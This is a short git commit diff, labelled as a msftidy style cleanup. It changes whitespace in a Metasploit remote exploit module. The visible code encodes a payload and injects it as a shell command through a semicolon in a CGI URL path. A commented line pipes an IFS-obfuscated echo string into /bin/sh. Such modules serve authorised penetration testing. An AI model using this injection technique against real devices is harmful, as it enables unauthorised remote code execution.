Msftidy stuff
parent
189d5dc005
commit
e99ba0ea86
|
@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
{
|
{
|
||||||
'Space' => 1024,
|
'Space' => 1024,
|
||||||
'DisableNops' => true,
|
'DisableNops' => true,
|
||||||
'BadChars' => "\x20"
|
'BadChars' => "\x20"
|
||||||
}
|
}
|
||||||
))
|
))
|
||||||
|
|
||||||
|
@ -80,20 +80,20 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
check
|
check
|
||||||
|
|
||||||
pe = payload.encoded
|
pe = payload.encoded
|
||||||
pe.to_s
|
pe.to_s
|
||||||
pe.gsub!('{','')
|
pe.gsub!('{','')
|
||||||
pe.gsub!('}','')
|
pe.gsub!('}','')
|
||||||
|
|
||||||
#cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
|
#cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
|
||||||
#str = "echo$IFS-ne$IFS\"#{cmd}\"|/bin/sh&"
|
#str = "echo$IFS-ne$IFS\"#{cmd}\"|/bin/sh&"
|
||||||
|
|
||||||
print_status('Sending encoded command...')
|
print_status('Sending encoded command...')
|
||||||
vprint_status("Encoded command: #{pe}")
|
vprint_status("Encoded command: #{pe}")
|
||||||
send_request_cgi({
|
send_request_cgi({
|
||||||
'uri' => "/cgi-bin/;#{pe}",
|
'uri' => "/cgi-bin/;#{pe}",
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
})
|
})
|
||||||
|
|
||||||
print_status('Giving the handler time to run...')
|
print_status('Giving the handler time to run...')
|
||||||
|
|
Loading…
Reference in New Issue